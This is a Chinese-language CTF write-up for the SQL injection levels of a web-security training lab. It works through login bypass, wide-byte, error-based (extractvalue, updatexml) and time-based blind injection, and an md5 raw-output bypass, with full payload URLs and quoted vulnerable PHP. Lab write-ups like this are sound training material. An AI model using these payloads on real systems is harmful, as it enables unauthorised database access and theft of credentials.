网络安全实验室_注入关writeup
最简单的SQL注入
查看页面源码发现提示要登录admin账户
果断试试万能密码admin' or 1=1#
直接能看到flag了
最简单的SQL注入(熟悉注入环境)
首先查看源码,提示id=1,看样子是个数字型注入,直接给id传入1 or 1=1#
防注入
查看提示还是给id传参,一开始以为是字符过滤,试了好久也没试出来,后来在返回头中看到charset=gb2312,猜测可能是个宽字节注入
给id=%df' 果然报错了,接下来就是常规注入了,先order by得到一共三个字段
得到显示位是2,3
然后直接查看当前数据库为mydbs,继续跑表发现只有一张sae_user_sqli4表,开始跑字段:id,title_1,content_1,猜测flag就在content_1中了
到底能不能回显
一脸懵逼的去找了相关资料才恍然大悟,这里参考下面这篇博客:
http://www.freebuf.com/articles/web/57528.html
这里学到了一个PROCEDURE 关键字
老套路,直接报他的表:
最后得到article,user两张表,继续搜刮,得到id,username,password,lastloginIP四个字段
喜闻乐见去脱裤
邂逅
继续一脸懵逼,提示id=1摆弄一波后还是毫无头绪,那就去看看大佬的wp吧
一波百度后,发现是一个需要抓包的宽字节图片注入(还有这种操作?)
掌握了新姿势后果然出现了报错(这个tip中的id太坑爹了,结果完全跟id没毛线关系)
常规手法爆字段数,发现一共四个,接着发现显示位是3,二话不说直接Duang表,还是熟悉的老套路:article,pic表,flag一脸在pic表中的样子
还是原来的配方,不出意外的爆出字段:id,picname,data,text
又到了脱裤的时节,走你
输入图片地址即可看到flag图
ErrorBased
看题目的提示是报错注入,正好趁着这个机会在巩固一下报错注入
先爆个数据库助助兴,拿到当前数据库mydbs
http://lab1.xseclab.com/sqli7_b95cf5af3a5fbeca02564bffc63e92e5/index.php?username=admin' and(select 1 from(select count(*),concat((select (select (select concat(0x7e,database(),0x7e))) from information_schema.tables limit 0,1),floor(rand(0)*2))x from information_schema.tables group by x)a)%23
接着开始跑表,改变limit后面的数字就能遍历所有表:log,motto,user
http://lab1.xseclab.com/sqli7_b95cf5af3a5fbeca02564bffc63e92e5/index.php?username=admin' and(select 1 from(select count(*),concat((select (select (SELECT distinct concat(0x7e,table_name,0x7e) FROM information_schema.tables where table_schema=database() LIMIT 0,1)) from information_schema.tables limit 0,1),floor(rand(0)*2))x from information_schema.tables group by x)a)%23
爆motto表中的列:id,username,motto
http://lab1.xseclab.com/sqli7_b95cf5af3a5fbeca02564bffc63e92e5/index.php?username=admin' and(select 1 from(select count(*),concat((select (select (SELECT distinct concat(0x7e,column_name,0x7e) FROM information_schema.columns where table_name=0x6d6f74746f LIMIT 0,1)) from information_schema.tables limit 0,1),floor(rand(0)*2))x from information_schema.tables group by x)a)%23
最后爆出字段出现了问题,常规语句竟然报错了,继续百度,发现还有其他代替语句
常规语句:
http://lab1.xseclab.com/sqli7_b95cf5af3a5fbeca02564bffc63e92e5/index.php?username=admin' and(select 1 from(select count(*),concat((select (select (SELECT distinct concat(0x23,username,0x3a,motto,0x23) FROM motto limit 0,1)) from information_schema.tables limit 0,1),floor(rand(0)*2))x from information_schema.tables group by x)a)%23
ExtractValue
http://lab1.xseclab.com/sqli7_b95cf5af3a5fbeca02564bffc63e92e5/index.php?username=admin' and extractvalue(1, concat(0x7e,(SELECT distinct concat(0x23,username,0x3a,motto,0x23) FROM motto limit 0,1)))%23
UpdateXml
http://lab1.xseclab.com/sqli7_b95cf5af3a5fbeca02564bffc63e92e5/index.php?username=admin' and updatexml(1,concat(0x7e,(SELECT distinct concat(0x23,username,0x3a,motto,0x23) FROM motto limit 0,1),0x7e),1)%23
以上两种方法都可以实现,最后遍历一下即可拿到flag
盲注
之前已经做过基于内容与报错的盲注了,猜测这个应该是基于时间的盲注
先试数据库的长度,当数字为6时发生了延时,说明数据库名共五个字符。
http://lab1.xseclab.com/sqli7_b95cf5af3a5fbeca02564bffc63e92e5/blind.php?username=admin' and if(length((SELECT concat(database())))<5,sleep(5),1)%23
开始猜字:
http://lab1.xseclab.com/sqli7_b95cf5af3a5fbeca02564bffc63e92e5/blind.php?username=admin' and if(substr((SELECT concat(database())),1,1)='m',sleep(5),1)%23
这里说明一下,语句中的database()后面的那个1是控制五个字符串的位置的,比如1就是第一个字符,2就是第二个字符,这个语句的意思就是查询当前数据库名的第一个字符是否是m,若是m则延迟5s,依次遍历出五个字符为mydbs。
查询mydbs数据库中表的数量:3
http://lab1.xseclab.com/sqli7_b95cf5af3a5fbeca02564bffc63e92e5/blind.php?username=admin' and if((select count(TABLE_NAME) from information_schema.tables where table_schema=0x6d79646273)=3,sleep(5),1)%23
查看表名的长度:3,5,4
http://lab1.xseclab.com/sqli7_b95cf5af3a5fbeca02564bffc63e92e5/blind.php?username=admin' and if(length((select TABLE_NAME from information_schema.tables where table_schema=0x6d79646273 limit 0,1))=3,sleep(5),1)%23
考验耐心的时候到了,开始爆表名了
http://lab1.xseclab.com/sqli7_b95cf5af3a5fbeca02564bffc63e92e5/blind.php?username=admin' and if(substr((select TABLE_NAME from information_schema.tables where table_schema=0x6d79646273 limit 0,1),1,1)='l',sleep(5),1)%23
这段语句就是判断第一个表名的第一个字母是不是l,若为真就延迟
在举个例子,要查询第三个表名的第二个字母是不是l就应该这么写:
http://lab1.xseclab.com/sqli7_b95cf5af3a5fbeca02564bffc63e92e5/blind.php?username=admin' and if(substr((select TABLE_NAME from information_schema.tables where table_schema=0x6d79646273 limit 2,1),2,1)='l',sleep(5),1)%23
最后整出三张表:log,motto,user
接着看motto表中有多少列:3
http://lab1.xseclab.com/sqli7_b95cf5af3a5fbeca02564bffc63e92e5/blind.php?username=admin' and if((select count(COLUMN_NAME) from information_schema.columns where table_name=0x6D6F74746F )=3,sleep(5),1)%23
测列名长:2,8,5
and if(length((select COLUMN_NAME from information_schema.columns where table_name=0x6D6F74746F limit 0,1 ))=2,sleep(2),1)%23
同样的手法开始跑列名,最后得出:id,username,motto
and if(substr((select COLUMN_NAME from information_schema.columns where table_name=0x6D6F74746F limit 1,1 ),1,1)='u',sleep(2),1)%23
猜测motto有多少行:4
http://lab1.xseclab.com/sqli7_b95cf5af3a5fbeca02564bffc63e92e5/blind.php?username=admin' and if((select count(*) from motto)=4,sleep(5),1)%23
最后开始猜字段
http://lab1.xseclab.com/sqli7_b95cf5af3a5fbeca02564bffc63e92e5/blind.php?username=admin' and if(ASCII(substr((select motto from motto limit 0,1),1,1))=109,sleep(5),1)%23
方法都搁这儿了,我撑不了了,还是拿sqlmap跑吧
SQL注入通用防护
看题目便是喜闻乐见的cookie注入,想着拿sqlmap跑一跑,没想到没跑粗来,气到手工
先测测字段数发现是3,接着发现2号位是显示位
接着就是常规注入了
爆出数据库:mydbs,表:sae_manager_sqli8,sae_user_sqli8
sae_manager_sqli8表下的列:id,username,password
据说哈希后的密码是不能产生注入的
查看源码:
<?php include "config.php"; if(isset($_GET['userid']) && isset($_GET['pwd'])){ $strsql="select * from `user` where userid=".intval($_GET['userid'])." and password='".md5($_GET['pwd'], true) ."'"; $conn=mysql_connect($dbhost,$username,$pwd);
mysql_select_db($db,$conn);
$result=mysql_query($strsql);
print_r(mysql_error());
$row=mysql_fetch_array($result);
mysql_close($conn);
echo "<pre>";
print_r($row); echo "</pre>";
if($row!=null){
echo "Flag: ".$flag;
} }
else{
echo "PLEASE LOGINT!";
}
echo "<noscript>";
echo file_get_contents(__FILE__);
看了wp才知道一个典型的md5注入,这里有个字符串:ffifdyop
md5后就变成了276f722736c95d99e921722cf9ed621c,转成字符串就是'or'6<trash>
单引号成功闭合了pwd,大佬的writeup就是:http://lab1.xseclab.com/code1_9f44bab1964d2f959cf509763980e156/?userid=1&pwd=ffifdyop
我瞅着原理也没啥毛病 可就是不能成功
希望懂的大佬能告知
网络安全实验室_注入关writeup的更多相关文章
- 网络安全实验室--SQL注入关
第一关 万能密码:username='or '1'='1'# password=1 即可登录得到flag. 第二关 最基础的注入,order by 判断字段数,然后 union selec ...
- 网络安全实验室_上传关writeup
请上传一张jpg格式的图片 先传个图片码试试 我肯定乖嘛(#`Д´)ノ 气到改后缀 请上传一张jpg格式的图片 我猜是00截断,不信来试试 先在赋值1.php .jpg,接着去hex中找到空格改成00 ...
- 网络安全实验室 注入关通关writeup
URL:http://hackinglab.cn 注入关 [1] 最简单的SQL注入username = admin' or ''='password随便什么都可以直接可以登录 [2] 熟悉注入环境 ...
- 网络安全实验室 脚本关通关writeup
[1]key又又找不到了查看源代码.发现key的路径,点击进行了302跳转,抓包,得到key [2]快速口算要2秒内提交答案,果断上python import requests,re s = requ ...
- 31C3 CTF web关writeup
0x00 背景 31c3 CTF 还是很人性化的,比赛结束了之后还可以玩.看题解做出了当时不会做的题目,写了一个writeup. 英文的题解可以看这:https://github.com/ctfs/w ...
- CTFHub Web题学习笔记(SQL注入题解writeup)
Web题下的SQL注入 1,整数型注入 使用burpsuite,?id=1%20and%201=1 id=1的数据依旧出现,证明存在整数型注入 常规做法,查看字段数,回显位置 ?id=1%20orde ...
- 网络安全之sql注入
1.何为Sql注入? 所谓SQL注入,就是通过把SQL命令插入到Web表单提交或输入域名或页面请求的查询字符串,最终达到欺骗服务器执行恶意的SQL命令.具体来说,它是利用现有应用程序,将(恶意的)SQ ...
- Spring_day01--注入对象类型属性(重点)_P名称空间注入_注入复杂类型属性_IOC和DI区别_Spring整合web项目原理
注入对象类型属性(重点) Action要new一个service对象,Service中又要new一个Dao对象,现在把new的过程交给spring来操作 1 创建service类和dao类 (1)在s ...
- 推箱子小游戏《格鲁的实验室》13关 - bfs最短路径
下载了一款推箱子小游戏,第13关的时候怎么也破不了最佳纪录(最少步数是9而我们最好的方案是10步),因为数据比较小(6*8的方阵),所以写了个BFS来找最短路. 游戏的目标是把小黄人推到黄色球,小绿人 ...
随机推荐
- python学习笔记1——基础
1)注释 单行注释以#开头,例:#第一个注释 多行注释可用多个#号,还有'''和""",例: #第一行注释 #第二行注释 ''' 第三行注释 第四行注释 ''' &quo ...
- hibernate框架学习笔记9:多对多关系案例
员工与角色案例: 一个员工可以是多种角色(总监,经理),一种角色可以是多个员工(保洁) 这里发现无法使用外键表达关系,多对多总是创建第三张表来维护关系 这张表至少两列,都是外键,分别引用两张表的主键 ...
- 安装/或更新node和npm
1.安装/或更新node和npm 安装node: node 的官网 nodejs.org 去下载 msi 安装包 更新npm: 使用命令 npm install npm@latest ...
- Beta冲刺 第七天
Beta冲刺 第七天 昨天的困难 昨天的困难在一些多表查询上,不熟悉hibernate的套路,走了很多弯路. 第一次使用图表插件,在图表的显示问题上花了一定的时间. 对于页面绑定和后台数据自动填充的理 ...
- MySQL“Another MySQL daemon already running with the same unix socket” 报错信息处理
Mysql "Another Mysql daemon already running with the same unix socket" 解决办法:rm var/lib/mys ...
- C# 使用 ffmpeg 进行音频转码
先放一下 ffmpeg 的官方文档以及下载地址: 官方文档:http://ffmpeg.org/ffmpeg.html 下载地址:http://ffmpeg.org/download.html 用 f ...
- SpringCloud的DataRest(四)restful特性展示
一.get - list - http://10.110.20.16:8391/BusiSys/company?page=0&size=5&sort=comp_id,asc 二.pos ...
- nginx配置反向代理详细教程(windows版)
内容属于原创,如果需要转载,还请注明地址:http://www.cnblogs.com/j-star/p/8785334.html Nginx是一款轻量级的Web 服务器/反向代理服务器及电子邮件(I ...
- poj 1639 Picnic Planning 度限制mst
https://vjudge.net/problem/POJ-1639 题意: 有一群人,他们要去某一个地方,每个车可以装无数个人,给出了n条路,包含的信息有路连接的地方,以及路的长度,路是双向的,但 ...
- c#:实现动态编译,并实现动态MultiProcess功能(来自python multiprocess的想法)
由于之前一直遇到一些关于并行进行数据处理的时效果往往不好,不管是c#还是java程序都是一样,但是在Python中通过multiprocess实现同样的功能时,却发现确实可以提高程序运行的性能,及服务 ...